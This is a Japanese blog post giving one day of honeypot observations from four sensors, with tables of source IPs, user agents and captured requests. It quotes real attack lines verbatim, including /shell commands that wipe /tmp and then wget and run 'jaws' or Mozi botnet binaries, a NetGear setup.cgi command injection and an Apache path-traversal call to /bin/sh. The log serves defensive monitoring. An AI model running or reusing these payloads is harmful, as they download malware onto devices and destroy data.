2023/03/17 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/03/17分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
.jsへのスキャン行為
/.envへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
/.gitへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 128.199.134.42/jaws;
sh /tmp/jaws

Location:US

NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Nmap Scripting Engineによるスキャン行為
112.124.42.80に関する不正通信

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  193.42.32.175/jaws;
sh /tmp/jaws

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://102.80.10.129:53442/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:SG

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス

を確認しました。

他

アクセス数推移

JP：総アクセス数：92 (前日比：-43)
US：総アクセス数：135 (前日比：42)
UK：総アクセス数：116 (前日比：16)
SG：総アクセス数：99 (前日比：-3)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.231.14.14	United States
1	38.6.188.150	United States
3	43.128.232.139	Singapore
15	43.154.141.71	Singapore
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.181.94	United States
1	45.79.181.223	United States
2	45.79.181.251	United States
1	45.134.140.161	United Kingdom
1	47.88.86.63	United States
1	47.88.93.234	United States
1	54.153.61.149	United States
2	64.226.68.166	United States
1	66.240.205.34	United States
2	74.82.47.5	United States
1	103.178.229.138	Vietnam
1	107.161.81.134	United States
1	107.170.228.21	United States
2	109.237.97.180	Russia
9	135.125.246.110	France
9	135.125.246.189	France
1	138.68.208.7	United States
2	138.197.66.206	United States
2	154.209.125.77	Seychelles
1	159.203.128.23	United States
1	167.94.138.35	United States
1	172.104.11.51	United States
2	172.105.128.12	United States
1	182.117.31.39	China
1	183.36.71.191	China
4	185.254.196.173	Ukraine
4	188.166.170.40	United States
1	192.241.218.42	United States
10	193.32.162.159	Romania
1	194.55.224.203	Bulgaria
1	198.199.95.17	United States
1	198.235.24.156	United States

UserAgent一覧

件数	UserAgent
20	`-`
1	`Go-http-client/1.1`
1	`Hello, world`
2	`Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15`
15	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
1	`Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/109.0`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
7	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`Python-urllib/3.9`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`Gh0st\xad`
1		`MGLNDD_18.179.20.5_80\n`
1		`\x16\x03\x01\x01H\x01`
11		`\x16\x03\x01`
1		`\xff\xa2\xff`
1		`o\xfa\xc0\xbe\xb8\xc0\xa4\xc9\x89\xa2\xc2\x8f\x83\xaf\x91\x97\xbe\xcd\xb9\xcf\xac\x9b\xb0\xab\xa0\xb6\xb1\xaa\x9d\x9c\x9f\x96\x8d\x93\xce\xb4\xb3\xb5\x98\xcd\xa6\xfa\xfa\xfa\xfa\x12\xfd\xd8\xf8\xfa\xfa\xc2\xfa\xfa\xfa\xfa\x1af\xec\xf9\xfa\xfa\xfa\xfa\xfb\xe5q\xf2\xfa\xfa\xfa\xfa\xfa\xfa\xf9wh\x97ui\xba\xea=E\xf0\x1b/\xa7XJ\xf11Y\v\xbf\xb1K\x1f`
25	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/Public/home/js/check.js`	HTTP/1.1
2	GET	`/aaa9`	HTTP/1.1
2	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/apis/apps/v1/namespaces/kube-system/daemonsets`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
1	GET	`/client/get_targets`	HTTP/1.1
10	GET	`/dispatch.asp`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//182[.]117[.]31[.]39:50458/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+128[.]199[.]134[.]42/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/static/admin/javascript/hetong.js`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/upl.php`	HTTP/1.1
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
15	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	POST	`/cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
7	18.135.29.183	United States
1	27.194.56.113	China
2	37.49.229.52	Belize
2	45.61.187.252	United States
3	45.79.172.21	United States
2	45.79.181.94	United States
1	45.79.181.104	United States
2	45.79.181.251	United States
1	45.134.140.161	United Kingdom
26	54.37.79.75	France
1	60.191.125.35	China
1	64.62.197.21	United States
1	64.62.197.26	United States
3	67.205.166.47	United States
1	85.31.46.157	Bulgaria
2	92.118.39.82	Romania
4	137.184.208.9	United States
2	139.59.37.187	Singapore
1	140.99.219.26	United States
7	143.198.158.96	United States
1	146.190.40.233	United States
2	146.190.119.114	United States
3	148.153.255.3	United States
2	152.89.196.54	Russia
2	154.209.125.77	Seychelles
1	161.35.233.14	United States
2	162.142.125.216	United States
3	165.22.236.148	United States
2	167.94.138.34	United States
2	167.94.138.49	United States
2	167.94.146.57	United States
1	169.150.236.163	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.11.51	United States
3	172.104.88.48	United States
3	172.104.249.106	United States
1	172.105.128.12	United States
1	176.113.115.168	Russia
3	179.43.177.242	Panama
1	183.136.225.32	China
9	185.254.196.223	Ukraine
1	192.155.90.220	United States
1	192.241.216.23	United States
1	192.241.227.26	United States
1	192.241.230.5	United States
10	193.32.162.159	Romania
1	193.56.29.146	United Kingdom
1	194.87.151.116	Czechia
1	205.210.31.141	United States
1	220.133.210.235	Taiwan

UserAgent一覧

件数	UserAgent
2	`'Cloud mapping experiment. Contact research@pdrlabs.net'`
32	`-`
2	`Go-http-client/1.1`
2	`Hello World`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
36	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3`
8	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
4	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
4	`Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)`
8	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
1	`VLC/3.0.8 LibVLC/3.0.8`
1	`python-requests/2.23.0`
1	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x03`
22		`\x16\x03\x01`
2		`\x16\x03`
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/+CSCOE+/logon.html`	HTTP/1.1
37	GET	`/.env`	HTTP/1.1
1	GET	`//favicon[.]ico`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/AZNs`	HTTP/1.1
1	GET	`/OQQl`	HTTP/1.1
1	GET	`/Vh0o`	HTTP/1.1
2	GET	`/aaa9`	HTTP/1.1
2	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/index.html`	HTTP/1.1
1	GET	`/apis/apps/v1/namespaces/kube-system/daemonsets`	HTTP/1.1
1	GET	`/azL5`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
2	GET	`/cgi-bin/downloadFlile.cgi`	HTTP/1.1
2	GET	`/client/get_targets`	HTTP/1.1
10	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/explore`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//27[.]194[.]56[.]113:50950/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 193.42.32.175/jaws;sh+/tmp/jaws`
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.1
1	GET	`/test_404_page/`	HTTP/1.1
2	GET	`/upl.php`	HTTP/1.1
1	GET	`/var/www/systembc/password.php`	HTTP/1.1
1	GET	`/www/systembc/password.php`	HTTP/1.1
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	HEAD	`http[:]//112[.]124[.]42[.]80:63435/`	HTTP/1.1
8	POST	`/boaform/admin/formLogin`	HTTP/1.1
4	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.181.86.250	Ukraine
2	37.49.229.52	Belize
3	43.128.227.146	Singapore
1	45.79.181.104	United States
24	51.79.29.48	Canada
1	64.62.197.25	United States
1	64.62.197.30	United States
1	66.240.192.82	United States
1	80.66.77.235	Russia
4	80.82.77.33	United Kingdom
1	85.31.46.157	Bulgaria
2	92.118.39.82	Romania
1	103.29.71.239	Singapore
4	107.150.105.217	United States
1	107.170.236.19	United States
1	107.170.245.13	United States
1	107.170.248.16	United States
1	107.170.252.14	United States
2	109.237.97.180	Russia
1	122.96.31.180	China
2	128.199.101.62	United Kingdom
4	137.184.172.19	United States
2	138.68.143.68	United States
1	140.99.219.26	United States
2	152.89.196.54	Russia
7	159.223.194.131	United States
2	162.142.125.223	United States
1	165.22.234.225	United States
2	167.248.133.126	United States
3	172.104.11.4	United States
1	172.104.11.46	United States
1	172.104.11.51	United States
4	172.105.128.11	United States
1	172.105.128.13	United States
2	179.43.177.242	Panama
8	185.254.196.223	Ukraine
1	192.155.90.118	United States
9	193.32.162.159	Romania
1	194.55.224.203	Bulgaria
1	194.87.151.116	Czechia
1	194.146.38.81	Israel
1	205.210.31.15	United States
4	206.189.145.148	United States
1	213.217.31.69	Turkey

UserAgent一覧

件数	UserAgent
32	`-`
5	`Go-http-client/1.1`
2	`Hello World`
1	`Hello, world`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
9	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
34	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0`
6	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
8	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
1	`QBOT`
1	`Roku/DVP-9.10 (289.10E04111A)`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`MGLNDD_132.145.66.34_80\n`
1		`SSH-2.0-libssh2_1.10.0`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\t\x01`
18		`\x16\x03\x01`
1		`\xff\xa2\xff`
1		`o\xfa\xc0\xbe\xb8\xc0\xa4\xc9\x89\xa2\xc2\x8f\x83\xaf\x91\x97\xbe\xcd\xb9\xcf\xac\x9b\xb0\xab\xa0\xb6\xb1\xaa\x9d\x9c\x9f\x96\x8d\x93\xce\xb4\xb3\xb5\x98\xcd\xa6\xfa\xfa\xfa\xfa\x12\xfd\xd8\xf8\xfa\xfa\xc2\xfa\xfa\xfa\xfa\x1af\xec\xf9\xfa\xfa\xfa\xfa\xfb\xe5q\xf2\xfa\xfa\xfa\xfa\xfa\xfa\xf9wh\x97ui\xba\xea=E\xf0\x1b/\xa7XJ\xf11Y\v\xbf\xb1K\x1f`
1	CONNECT	`google[.]com:443`	HTTP/1.1
34	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
2	GET	`/aaa9`	HTTP/1.1
2	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
2	GET	`/cgi-bin/downloadFlile.cgi`	HTTP/1.1
2	GET	`/client/get_targets`	HTTP/1.1
9	GET	`/dispatch.asp`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//102[.]80[.]10[.]129:53442/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
2	GET	`/upl.php`	HTTP/1.1
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
6	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh`	HTTP/1.1
2	PRI	`*`	HTTP/2.0
1	PUT	`/SDK/webLanguage`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.171.51.194	United States
2	37.49.229.52	Belize
3	43.128.227.146	Singapore
1	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.181.94	United States
1	45.79.181.104	United States
2	47.88.94.161	United States
5	50.31.21.11	United States
22	54.37.79.75	France
2	64.62.197.7	United States
1	66.240.192.82	United States
1	85.31.46.157	Bulgaria
2	87.251.64.11	Russia
2	92.118.39.82	Romania
1	95.214.55.109	Poland
1	103.90.160.131	India
2	109.237.97.180	Russia
1	122.96.31.142	China
1	138.68.208.16	United States
1	140.99.219.26	United States
2	147.182.154.58	United States
2	152.89.196.54	Russia
2	157.245.4.22	United States
1	161.35.233.14	United States
1	162.243.132.18	United States
1	162.243.139.22	United States
2	167.94.138.49	United States
1	170.64.185.59	United States
4	172.104.11.46	United States
2	172.104.11.51	United States
1	172.104.188.215	United States
2	172.105.128.11	United States
1	179.43.177.242	Panama
7	188.166.79.55	United States
1	192.155.90.118	United States
11	193.32.162.159	Romania
1	194.87.151.116	Czechia
1	194.146.38.81	Israel
1	205.210.31.148	United States
1	209.141.34.237	United States

UserAgent一覧

件数	UserAgent
24	`-`
1	`AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9`
4	`Go-http-client/1.1`
2	`Hello World`
2	`Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36`
5	`Mozilla/5.0 (Linux; Android 10; Pixel 2 XL Build/QQ3A.200705.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; Android 12; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 SeaMonkey/2.42.9esr`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36`
24	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
7	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
3		`-`
1		`MGLNDD_13.67.44.234_80`
1		`\x16\x03\x01\x01H\x01`
14		`\x16\x03\x01`
1		`\xff\xa2\xff`
1		`o\xfa\xc0\xbe\xb8\xc0\xa4\xc9\x89\xa2\xc2\x8f\x83\xaf\x91\x97\xbe\xcd\xb9\xcf\xac\x9b\xb0\xab\xa0\xb6\xb1\xaa\x9d\x9c\x9f\x96\x8d\x93\xce\xb4\xb3\xb5\x98\xcd\xa6\xfa\xfa\xfa\xfa\x12\xfd\xd8\xf8\xfa\xfa\xc2\xfa\xfa\xfa\xfa\x1af\xec\xf9\xfa\xfa\xfa\xfa\xfb\xe5q\xf2\xfa\xfa\xfa\xfa\xfa\xfa\xf9wh\x97ui\xba\xea=E\xf0\x1b/\xa7XJ\xf11Y\v\xbf\xb1K\x1f`
3	CONNECT	`google[.]com:443`	HTTP/1.1
26	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/Public/home/js/check.js`	HTTP/1.1
2	GET	`/aaa9`	HTTP/1.1
2	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/c/version.js`	HTTP/1.1
2	GET	`/cgi-bin/downloadFlile.cgi`	HTTP/1.1
11	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
1	GET	`/explore`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/nmaplowercheck1678934454`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/static/admin/javascript/hetong.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
5	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	PRI	`*`	HTTP/2.0